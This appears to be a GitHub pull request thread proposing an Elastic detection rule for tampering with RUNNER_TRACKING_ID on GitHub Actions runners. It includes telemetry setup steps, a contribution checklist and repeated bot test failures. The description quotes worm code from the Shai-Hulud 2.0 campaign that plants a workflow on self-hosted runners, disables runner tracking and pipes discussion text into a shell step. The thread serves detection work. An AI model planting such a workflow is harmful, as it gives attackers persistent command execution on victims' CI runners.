[New Rule] Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners

[Aegrah]

Summary

This rule detects processes spawned by GitHub Actions runners where "RUNNER_TRACKING_ID" is overridden from its default "github_*" value. Such tampering has been associated with attempts to evade runner tracking/cleanup on self-hosted runners, including behavior observed in the Shai-Hulud 2.0 npm worm campaign.

This behavior is observed in the latest Shai-Hulud 2.0 NPM worm campaign, via the following workflow:

await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
           'owner': _0x349291,
           'repo': _0x2b1a39,
           'path': ".github/workflows/discussion.yaml",
           'message': "Add Discusion",
           'content': Buffer.from("\nname: Discussion Create\non:\n  discussion:\njobs:\n  process:\n    env:\n      RUNNER_TRACKING_ID: 0\n    runs-on: self-hosted\n    steps:\n      - uses: actions/checkout@v5\n      - name: Handle Discussion\n        run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
           'branch': 'main'
         });

Enable RUNNER_TRACKING_ID process environment variable telemetry

This rule requires additional telemetry to be enabled via advanced settings in Elastic Defend. The instructions are listed in the setup guide of the rule, but here is the TLDR:

• Go to “Security → Manage → Policies”.
• Select an “Elastic Agent policy”.
• Click “Show advanced settings”.
• Scroll down or search for “linux.advanced.capture_env_vars”.
• Enter the names of environment variables you want to capture, separated by commas.
• For Linux, this rule requires the linux.advanced.capture_env_vars variable to be set to "RUNNER_TRACKING_ID".
• For macOS, this rule requires the macos.advanced.capture_env_vars variable to be set to "RUNNER_TRACKING_ID".

[github-actions]

Rule: New - Guidelines

These guidelines serve as a reminder set of considerations when proposing a new rule.

Documentation and Context

• Detailed description of the rule.
• List any new fields required in ECS/data sources.
• Link related issues or PRs.
• Include references.

Rule Metadata Checks

• creation_date matches the date of creation PR initially merged.
• min_stack_version should support the widest stack versions.
• name and description should be descriptive and not include typos.
• query should be inclusive, not overly exclusive, considering performance for diverse environments. Non ecs fields should be added to non-ecs-schema.json if not available in an integration.
• min_stack_comments and min_stack_version should be included if the rule is only compatible starting from a specific stack version.
• index pattern should be neither too specific nor too vague, ensuring it accurately matches the relevant data stream (e.g., use logs-endpoint.process-* for process data).
• integration should align with the index. If the integration is newly introduced, ensure the manifest, schemas, and new_rule.yaml template are updated.
• setup should include the necessary steps to configure the integration.
• note should include any additional information (e.g. Triage and analysis investigation guides, timeline templates).
• tags should be relevant to the threat and align/added to the EXPECTED_RULE_TAGS in the definitions.py file.
• threat, techniques, and subtechniques should map to ATT&CK always if possible.

New BBR Rules

• building_block_type should be included if the rule is a building block and the rule should be located in the rules_building_block folder.
• bypass_bbr_timing should be included if adding custom lookback timing to the rule.

Testing and Validation

• Provide evidence of testing and detecting the expected threat.
• Check for existence of coverage to prevent duplication.

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[tradebot-elastic]

⛔️ Test failed

Results

• ❌ Tampering with RUNNER_TRACKING_ID in GitHub Actions Runners (eql)
  • coverage_issue: no_rta
  • stack_validation_failed: no_rta

[terrancedejesus]

If these are for GH pipelines, why macos?